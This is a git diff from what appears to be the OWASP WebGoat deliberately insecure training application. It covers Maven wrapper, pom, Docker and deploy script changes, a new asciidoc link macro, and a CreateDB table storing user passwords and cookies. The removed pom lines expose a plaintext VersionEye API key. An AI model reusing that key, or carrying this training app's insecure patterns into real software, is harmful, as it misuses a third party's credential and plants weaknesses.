||||||
|
|
||||||
|
echo.
|
||||||
|
echo Error: JAVA_HOME not found in your environment. >&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the >&2
|
||||||
|
echo location of your Java installation. >&2
|
||||||
|
echo.
|
||||||
|
goto error
|
||||||
|
|
||||||
|
:OkJHome
|
||||||
|
if exist "%JAVA_HOME%\bin\java.exe" goto init
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo Error: JAVA_HOME is set to an invalid directory. >&2
|
||||||
|
echo JAVA_HOME = "%JAVA_HOME%" >&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the >&2
|
||||||
|
echo location of your Java installation. >&2
|
||||||
|
echo.
|
||||||
|
goto error
|
||||||
|
|
||||||
|
@REM ==== END VALIDATION ====
|
||||||
|
|
||||||
|
:init
|
||||||
|
|
||||||
|
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
|
||||||
|
@REM Fallback to current working directory if not found.
|
||||||
|
|
||||||
|
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
|
||||||
|
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
|
||||||
|
|
||||||
|
set EXEC_DIR=%CD%
|
||||||
|
set WDIR=%EXEC_DIR%
|
||||||
|
:findBaseDir
|
||||||
|
IF EXIST "%WDIR%"\.mvn goto baseDirFound
|
||||||
|
cd ..
|
||||||
|
IF "%WDIR%"=="%CD%" goto baseDirNotFound
|
||||||
|
set WDIR=%CD%
|
||||||
|
goto findBaseDir
|
||||||
|
|
||||||
|
:baseDirFound
|
||||||
|
set MAVEN_PROJECTBASEDIR=%WDIR%
|
||||||
|
cd "%EXEC_DIR%"
|
||||||
|
goto endDetectBaseDir
|
||||||
|
|
||||||
|
:baseDirNotFound
|
||||||
|
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
|
||||||
|
cd "%EXEC_DIR%"
|
||||||
|
|
||||||
|
:endDetectBaseDir
|
||||||
|
|
||||||
|
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
|
||||||
|
|
||||||
|
@setlocal EnableExtensions EnableDelayedExpansion
|
||||||
|
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
|
||||||
|
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
|
||||||
|
|
||||||
|
:endReadAdditionalConfig
|
||||||
|
|
||||||
|
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
|
||||||
|
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
|
||||||
|
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
|
||||||
|
|
||||||
|
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
|
||||||
|
FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
|
||||||
|
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
|
||||||
|
)
|
||||||
|
|
||||||
|
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
|
||||||
|
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
|
||||||
|
if exist %WRAPPER_JAR% (
|
||||||
|
echo Found %WRAPPER_JAR%
|
||||||
|
) else (
|
||||||
|
echo Couldn't find %WRAPPER_JAR%, downloading it ...
|
||||||
|
echo Downloading from: %DOWNLOAD_URL%
|
||||||
|
powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
|
||||||
|
echo Finished downloading %WRAPPER_JAR%
|
||||||
|
)
|
||||||
|
@REM End of extension
|
||||||
|
|
||||||
|
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
|
||||||
|
if ERRORLEVEL 1 goto error
|
||||||
|
goto end
|
||||||
|
|
||||||
|
:error
|
||||||
|
set ERROR_CODE=1
|
||||||
|
|
||||||
|
:end
|
||||||
|
@endlocal & set ERROR_CODE=%ERROR_CODE%
|
||||||
|
|
||||||
|
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
|
||||||
|
@REM check for post script, once with legacy .bat ending and once with .cmd ending
|
||||||
|
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
|
||||||
|
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
|
||||||
|
:skipRcPost
|
||||||
|
|
||||||
|
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
|
||||||
|
if "%MAVEN_BATCH_PAUSE%" == "on" pause
|
||||||
|
|
||||||
|
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
|
||||||
|
|
||||||
|
exit /B %ERROR_CODE%
|
4
platformQuickStarts/GCP/GKE-Docker/deploy.cfg
Normal file
4
platformQuickStarts/GCP/GKE-Docker/deploy.cfg
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
CURTAG=webgoat/webgoat-8.0
|
||||||
|
DEST_TAG=gcr.io/astech-training/raging-wire-webgoat
|
||||||
|
CLUSTER_NAME=raging-wire-webgoat
|
||||||
|
PORT_NUM=8080
|
4
platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh
Normal file
4
platformQuickStarts/GCP/GKE-Docker/gke-deploy-config.sh
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
CURTAG=webgoat/webgoat-8.0
|
||||||
|
DEST_TAG=gcr.io/your-gke-project/your-webgoat-tag
|
||||||
|
CLUSTER_NAME=your-cluster-name
|
||||||
|
PORT_NUM=8080
|
143
pom.xml
143
pom.xml
@ -6,7 +6,7 @@
|
|||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<packaging>pom</packaging>
|
<packaging>pom</packaging>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
|
|
||||||
<name>WebGoat Parent Pom</name>
|
<name>WebGoat Parent Pom</name>
|
||||||
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
||||||
@ -21,7 +21,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-parent</artifactId>
|
<artifactId>spring-boot-starter-parent</artifactId>
|
||||||
<version>1.5.12.RELEASE</version>
|
<version>1.5.18.RELEASE</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<licenses>
|
<licenses>
|
||||||
@ -107,9 +107,6 @@
|
|||||||
</ciManagement>
|
</ciManagement>
|
||||||
|
|
||||||
<properties>
|
<properties>
|
||||||
<maven.compiler.source>1.8</maven.compiler.source>
|
|
||||||
<maven.compiler.target>1.8</maven.compiler.target>
|
|
||||||
|
|
||||||
<!-- Use UTF-8 Encoding -->
|
<!-- Use UTF-8 Encoding -->
|
||||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
|
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
|
||||||
@ -129,7 +126,7 @@
|
|||||||
<commons-digester.version>2.1</commons-digester.version>
|
<commons-digester.version>2.1</commons-digester.version>
|
||||||
<commons-discovery.version>0.5</commons-discovery.version>
|
<commons-discovery.version>0.5</commons-discovery.version>
|
||||||
<commons-fileupload.version>1.3.1</commons-fileupload.version>
|
<commons-fileupload.version>1.3.1</commons-fileupload.version>
|
||||||
<commons-io.version>2.4</commons-io.version>
|
<commons-io.version>2.6</commons-io.version>
|
||||||
<commons-lang3.version>3.4</commons-lang3.version>
|
<commons-lang3.version>3.4</commons-lang3.version>
|
||||||
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
|
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
|
||||||
<gatling.version>2.2.5</gatling.version>
|
<gatling.version>2.2.5</gatling.version>
|
||||||
@ -141,30 +138,25 @@
|
|||||||
<jackson-core.version>2.6.3</jackson-core.version>
|
<jackson-core.version>2.6.3</jackson-core.version>
|
||||||
<jackson-databind.version>2.6.3</jackson-databind.version>
|
<jackson-databind.version>2.6.3</jackson-databind.version>
|
||||||
<javaee-api.version>6.0</javaee-api.version>
|
<javaee-api.version>6.0</javaee-api.version>
|
||||||
<javax.transaction-api.version>1.2</javax.transaction-api.version>
|
<javax.transaction-api.version>1.3</javax.transaction-api.version>
|
||||||
<jcl-over-slf4j.version>1.7.12</jcl-over-slf4j.version>
|
<jcl-over-slf4j.version>1.7.12</jcl-over-slf4j.version>
|
||||||
<jtds.version>1.3.1</jtds.version>
|
<jtds.version>1.3.1</jtds.version>
|
||||||
<junit.version>4.12</junit.version>
|
<junit.version>4.12</junit.version>
|
||||||
|
<lombok.version>1.18.4</lombok.version>
|
||||||
<mail-api.version>1.5.4</mail-api.version>
|
<mail-api.version>1.5.4</mail-api.version>
|
||||||
<maven-compiler-plugin.version>3.3</maven-compiler-plugin.version>
|
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
|
||||||
<maven-failsafe-plugin.version>2.19</maven-failsafe-plugin.version>
|
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
|
||||||
<maven-gpg-plugin.version>1.6</maven-gpg-plugin.version>
|
<maven-gpg-plugin.version>1.6</maven-gpg-plugin.version>
|
||||||
<maven-jar-plugin.version>2.6</maven-jar-plugin.version>
|
<maven-jar-plugin.version>2.6</maven-jar-plugin.version>
|
||||||
<maven-javadoc-plugin.version>2.10.4</maven-javadoc-plugin.version>
|
<maven-javadoc-plugin.version>2.10.4</maven-javadoc-plugin.version>
|
||||||
<maven-release-plugin.version>2.5.2</maven-release-plugin.version>
|
<maven-release-plugin.version>2.5.2</maven-release-plugin.version>
|
||||||
<maven-source-plugin.version>3.0.1</maven-source-plugin.version>
|
<maven-source-plugin.version>3.0.1</maven-source-plugin.version>
|
||||||
<maven-surefire-plugin.version>2.19</maven-surefire-plugin.version>
|
<maven-surefire-plugin.version>2.22.0</maven-surefire-plugin.version>
|
||||||
<nexus-staging-maven-plugin.version>1.6.6</nexus-staging-maven-plugin.version>
|
<nexus-staging-maven-plugin.version>1.6.6</nexus-staging-maven-plugin.version>
|
||||||
<scala.version>2.11.7</scala.version>
|
<scala.version>2.11.7</scala.version>
|
||||||
<sauce_junit.version>2.1.20</sauce_junit.version>
|
<sauce_junit.version>2.1.20</sauce_junit.version>
|
||||||
<selenium-java.version>2.48.2</selenium-java.version>
|
<selenium-java.version>2.48.2</selenium-java.version>
|
||||||
<spring.security.version>3.2.4.RELEASE</spring.security.version>
|
<spring.security.version>3.2.4.RELEASE</spring.security.version>
|
||||||
<standard.version>1.1.2</standard.version>
|
|
||||||
<tiles.version>3.0.5</tiles.version>
|
|
||||||
<tomcat-catalina.version>7.0.65</tomcat-catalina.version>
|
|
||||||
<tomcat7-maven-plugin.version>2.3-SNAPSHOT</tomcat7-maven-plugin.version>
|
|
||||||
<versioneye-maven-plugin.version>3.5.1</versioneye-maven-plugin.version>
|
|
||||||
<wsdl4j.version>1.6.3</wsdl4j.version>
|
|
||||||
</properties>
|
</properties>
|
||||||
|
|
||||||
<modules>
|
<modules>
|
||||||
@ -200,105 +192,12 @@
|
|||||||
</pluginRepository>
|
</pluginRepository>
|
||||||
</pluginRepositories>
|
</pluginRepositories>
|
||||||
|
|
||||||
<profiles>
|
|
||||||
<profile>
|
|
||||||
<id>release</id>
|
|
||||||
<dependencies>
|
|
||||||
<dependency>
|
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
|
||||||
<artifactId>dist</artifactId>
|
|
||||||
<version>1.0</version>
|
|
||||||
<type>zip</type>
|
|
||||||
<scope>provided</scope>
|
|
||||||
<classifier>plugins</classifier>
|
|
||||||
</dependency>
|
|
||||||
</dependencies>
|
|
||||||
<build>
|
|
||||||
<plugins>
|
|
||||||
<plugin>
|
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
|
||||||
<artifactId>maven-dependency-plugin</artifactId>
|
|
||||||
<executions>
|
|
||||||
<execution>
|
|
||||||
<id>unpack-lesson</id>
|
|
||||||
<goals>
|
|
||||||
<goal>unpack-dependencies</goal>
|
|
||||||
</goals>
|
|
||||||
<phase>generate-resources</phase>
|
|
||||||
<configuration>
|
|
||||||
<outputDirectory>
|
|
||||||
${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons
|
|
||||||
</outputDirectory>
|
|
||||||
<includeArtifactIds>dist</includeArtifactIds>
|
|
||||||
<includes>*.jar</includes>
|
|
||||||
</configuration>
|
|
||||||
</execution>
|
|
||||||
</executions>
|
|
||||||
</plugin>
|
|
||||||
<plugin>
|
|
||||||
<groupId>org.sonatype.plugins</groupId>
|
|
||||||
<artifactId>nexus-staging-maven-plugin</artifactId>
|
|
||||||
<version>${nexus-staging-maven-plugin.version}</version>
|
|
||||||
<extensions>true</extensions>
|
|
||||||
<configuration>
|
|
||||||
<serverId>ossrh</serverId>
|
|
||||||
<nexusUrl>https://oss.sonatype.org/</nexusUrl>
|
|
||||||
<autoReleaseAfterClose>false</autoReleaseAfterClose>
|
|
||||||
</configuration>
|
|
||||||
</plugin>
|
|
||||||
<plugin>
|
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
|
||||||
<artifactId>maven-source-plugin</artifactId>
|
|
||||||
<version>${maven-source-plugin.version}</version>
|
|
||||||
<executions>
|
|
||||||
<execution>
|
|
||||||
<id>attach-sources</id>
|
|
||||||
<goals>
|
|
||||||
<goal>jar-no-fork</goal>
|
|
||||||
</goals>
|
|
||||||
</execution>
|
|
||||||
</executions>
|
|
||||||
</plugin>
|
|
||||||
<plugin>
|
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
|
||||||
<artifactId>maven-javadoc-plugin</artifactId>
|
|
||||||
<version>${maven-javadoc-plugin.version}</version>
|
|
||||||
<executions>
|
|
||||||
<execution>
|
|
||||||
<id>attach-javadocs</id>
|
|
||||||
<goals>
|
|
||||||
<goal>jar</goal>
|
|
||||||
</goals>
|
|
||||||
</execution>
|
|
||||||
</executions>
|
|
||||||
</plugin>
|
|
||||||
<plugin>
|
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
|
||||||
<artifactId>maven-gpg-plugin</artifactId>
|
|
||||||
<version>${maven-gpg-plugin.version}</version>
|
|
||||||
<executions>
|
|
||||||
<execution>
|
|
||||||
<id>sign-artifacts</id>
|
|
||||||
<phase>verify</phase>
|
|
||||||
<goals>
|
|
||||||
<goal>sign</goal>
|
|
||||||
</goals>
|
|
||||||
<configuration>
|
|
||||||
<keyname>WebGoat</keyname>
|
|
||||||
</configuration>
|
|
||||||
</execution>
|
|
||||||
</executions>
|
|
||||||
</plugin>
|
|
||||||
</plugins>
|
|
||||||
</build>
|
|
||||||
</profile>
|
|
||||||
</profiles>
|
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.projectlombok</groupId>
|
<groupId>org.projectlombok</groupId>
|
||||||
<artifactId>lombok</artifactId>
|
<artifactId>lombok</artifactId>
|
||||||
<scope>provided</scope>
|
<scope>provided</scope>
|
||||||
|
<version>${lombok.version}</version>
|
||||||
<optional>true</optional>
|
<optional>true</optional>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
@ -306,10 +205,25 @@
|
|||||||
<artifactId>commons-exec</artifactId>
|
<artifactId>commons-exec</artifactId>
|
||||||
<version>1.3</version>
|
<version>1.3</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>javax.xml.bind</groupId>
|
||||||
|
<artifactId>jaxb-api</artifactId>
|
||||||
|
<version>2.3.0</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<build>
|
<build>
|
||||||
<plugins>
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>${maven-compiler-plugin.version}</version>
|
||||||
|
<configuration>
|
||||||
|
<source>11</source>
|
||||||
|
<target>11</target>
|
||||||
|
<encoding>UTF-8</encoding>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
<plugin>
|
<plugin>
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
<artifactId>maven-release-plugin</artifactId>
|
<artifactId>maven-release-plugin</artifactId>
|
||||||
@ -342,15 +256,6 @@
|
|||||||
<aggregate>true</aggregate>
|
<aggregate>true</aggregate>
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
<plugin>
|
|
||||||
<groupId>com.versioneye</groupId>
|
|
||||||
<artifactId>versioneye-maven-plugin</artifactId>
|
|
||||||
<version>${versioneye-maven-plugin.version}</version>
|
|
||||||
<configuration>
|
|
||||||
<apiKey>a1e4a9da4ed34ee44cab</apiKey>
|
|
||||||
<projectId>562da95be346d7000e0369ac</projectId>
|
|
||||||
</configuration>
|
|
||||||
</plugin>
|
|
||||||
</plugins>
|
</plugins>
|
||||||
</build>
|
</build>
|
||||||
|
|
||||||
|
16
scripts/build-all.sh
Normal file → Executable file
16
scripts/build-all.sh
Normal file → Executable file
@ -7,21 +7,23 @@ SUCCESS=$?
|
|||||||
nc -zv 127.0.0.1 9090 2>/dev/null
|
nc -zv 127.0.0.1 9090 2>/dev/null
|
||||||
SUCCESS=${SUCCESS}$?
|
SUCCESS=${SUCCESS}$?
|
||||||
|
|
||||||
if [[ "${SUCCESS}" -eq 00 ]] ; then
|
if [[ "${SUCCESS}" -eq 0 ]] ; then
|
||||||
echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
|
echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!"
|
||||||
exit 127
|
exit 127
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
||||||
#mvn clean install
|
sh mvnw clean install
|
||||||
#if [[ "$?" -ne 0 ]] ; then
|
if [[ "$?" -ne 0 ]] ; then
|
||||||
# exit y$?
|
exit y$?
|
||||||
#fi
|
fi
|
||||||
|
|
||||||
cd -
|
cd -
|
||||||
sh build_docker.sh
|
sh build_docker.sh
|
||||||
|
if [[ "$?" -ne 0 ]] ; then
|
||||||
|
exit y$?
|
||||||
|
fi
|
||||||
|
|
||||||
echo "Do you want to run docker-compose?"
|
|
||||||
while true; do
|
while true; do
|
||||||
read -p "Do you want to run docker-compose?" yn
|
read -p "Do you want to run docker-compose?" yn
|
||||||
case ${yn} in
|
case ${yn} in
|
||||||
@ -29,4 +31,4 @@ while true; do
|
|||||||
[Nn]* ) exit;;
|
[Nn]* ) exit;;
|
||||||
* ) echo "Please answer yes or no.";;
|
* ) echo "Please answer yes or no.";;
|
||||||
esac
|
esac
|
||||||
done
|
done
|
||||||
|
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
WEBGOAT_HOME=$(pwd)/../
|
WEBGOAT_HOME=$(pwd)/../
|
||||||
|
|
||||||
cd ${WEBGOAT_HOME}/webgoat-server
|
cd "${WEBGOAT_HOME}"/webgoat-server
|
||||||
docker build -t webgoat/webgoat-8.0 .
|
docker build -t webgoat/webgoat-v8.0.0.snapshot .
|
||||||
|
|
||||||
cd ${WEBGOAT_HOME}/webwolf
|
cd "${WEBGOAT_HOME}"/webwolf
|
||||||
docker build -t webgoat/webwolf .
|
docker build -t webgoat/webwolf-v8.0.0.snapshot .
|
||||||
|
|
||||||
|
@ -2,4 +2,4 @@
|
|||||||
|
|
||||||
cd ..
|
cd ..
|
||||||
docker-compose rm -f
|
docker-compose rm -f
|
||||||
docker-compose up
|
docker-compose -f docker-compose-local.yml up
|
||||||
|
@ -6,7 +6,7 @@ export REPO=webgoat/webgoat-8.0
|
|||||||
cd webgoat-server
|
cd webgoat-server
|
||||||
ls target/
|
ls target/
|
||||||
|
|
||||||
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
|
if [ ! -z "${TRAVIS_TAG}" ]; then
|
||||||
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
||||||
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
||||||
docker push $REPO
|
docker push $REPO
|
||||||
@ -27,14 +27,10 @@ cd ..
|
|||||||
cd webwolf
|
cd webwolf
|
||||||
ls target/
|
ls target/
|
||||||
|
|
||||||
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
|
if [ ! -z "${TRAVIS_TAG}" ]; then
|
||||||
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
||||||
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
||||||
docker push $REPO
|
docker push $REPO
|
||||||
elif [ ! -z "${TRAVIS_TAG}" ]; then
|
|
||||||
# Creating a tag build we push it to Docker with that tag
|
|
||||||
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
|
|
||||||
docker push $REPO
|
|
||||||
else
|
else
|
||||||
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
||||||
fi
|
fi
|
18
scripts/start.sh
Normal file
18
scripts/start.sh
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
DATABASE_PORT=9001
|
||||||
|
|
||||||
|
checkDatabaseAvailable(){
|
||||||
|
|
||||||
|
#for i in $(seq 1 5); do command && s=0 && break || s=$? && sleep 15; done; (exit $s)
|
||||||
|
local started = $(netstat -lnt | grep ${DATABASE_PORT})
|
||||||
|
echo $?
|
||||||
|
}
|
||||||
|
|
||||||
|
#java -Djava.security.egd=file:/dev/./urandom -jar home/webgoat/webgoat.jar --server.address=0.0.0.0
|
||||||
|
$(checkDatabaseAvailable)
|
||||||
|
|
||||||
|
|
||||||
|
#java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar --server.port=9090 --server.address=0.0.0.0
|
||||||
|
|
||||||
|
|
@ -10,7 +10,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
@ -64,16 +64,6 @@
|
|||||||
<useDefaultDelimiters>false</useDefaultDelimiters>
|
<useDefaultDelimiters>false</useDefaultDelimiters>
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
<plugin>
|
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
|
||||||
<artifactId>maven-compiler-plugin</artifactId>
|
|
||||||
<version>${maven-compiler-plugin.version}</version>
|
|
||||||
<configuration>
|
|
||||||
<source>1.8</source>
|
|
||||||
<target>1.8</target>
|
|
||||||
<encoding>ISO-8859-1</encoding>
|
|
||||||
</configuration>
|
|
||||||
</plugin>
|
|
||||||
<plugin>
|
<plugin>
|
||||||
<groupId>org.apache.maven.plugins</groupId>
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
<artifactId>maven-surefire-plugin</artifactId>
|
<artifactId>maven-surefire-plugin</artifactId>
|
||||||
@ -191,7 +181,9 @@
|
|||||||
<artifactId>junit</artifactId>
|
<artifactId>junit</artifactId>
|
||||||
<version>${junit.version}</version>
|
<version>${junit.version}</version>
|
||||||
<type>jar</type>
|
<type>jar</type>
|
||||||
|
<scope>test</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
|
||||||
<!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
|
<!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
|
||||||
<!-- ************* END: <dependencies> ************** -->
|
<!-- ************* END: <dependencies> ************** -->
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
@ -37,6 +37,7 @@ import org.asciidoctor.Asciidoctor;
|
|||||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||||
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
||||||
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
||||||
|
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
|
||||||
import org.owasp.webgoat.i18n.Language;
|
import org.owasp.webgoat.i18n.Language;
|
||||||
import org.thymeleaf.TemplateProcessingParameters;
|
import org.thymeleaf.TemplateProcessingParameters;
|
||||||
import org.thymeleaf.resourceresolver.IResourceResolver;
|
import org.thymeleaf.resourceresolver.IResourceResolver;
|
||||||
@ -87,6 +88,7 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
|
|||||||
StringWriter writer = new StringWriter();
|
StringWriter writer = new StringWriter();
|
||||||
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||||
|
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
||||||
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
||||||
|
|
||||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||||
|
@ -45,6 +45,10 @@ public class WebWolfMacro extends InlineMacroProcessor {
|
|||||||
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
|
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
|
||||||
String ip = request.getRemoteAddr();
|
String ip = request.getRemoteAddr();
|
||||||
String hostname = StringUtils.hasText(ip) ? ip : host;
|
String hostname = StringUtils.hasText(ip) ? ip : host;
|
||||||
return "http://" + hostname + ":" + port + "/WebWolf";
|
return "http://" + hostname + ":" + port + (includeWebWolfContext() ? "/WebWolf" : "");
|
||||||
|
}
|
||||||
|
|
||||||
|
protected boolean includeWebWolfContext() {
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,20 @@
|
|||||||
|
package org.owasp.webgoat.asciidoc;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Usage in asciidoc:
|
||||||
|
* <p>
|
||||||
|
* webWolfLink:here[] will display a href with here as text
|
||||||
|
* webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
|
||||||
|
*/
|
||||||
|
public class WebWolfRootMacro extends WebWolfMacro {
|
||||||
|
|
||||||
|
public WebWolfRootMacro(String macroName, Map<String, Object> config) {
|
||||||
|
super(macroName, config);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected boolean includeWebWolfContext() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
@ -232,7 +232,7 @@ public class CreateDB {
|
|||||||
|
|
||||||
// Create the new table
|
// Create the new table
|
||||||
try {
|
try {
|
||||||
String createTableStatement = "CREATE TABLE user_system_data (" + "userid varchar(5) not null primary key,"
|
String createTableStatement = "CREATE TABLE user_system_data (" + "userid int not null primary key,"
|
||||||
+ "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
|
+ "user_name varchar(12)," + "password varchar(10)," + "cookie varchar(30)" + ")";
|
||||||
statement.executeUpdate(createTableStatement);
|
statement.executeUpdate(createTableStatement);
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
@ -240,11 +240,11 @@ public class CreateDB {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Populate
|
// Populate
|
||||||
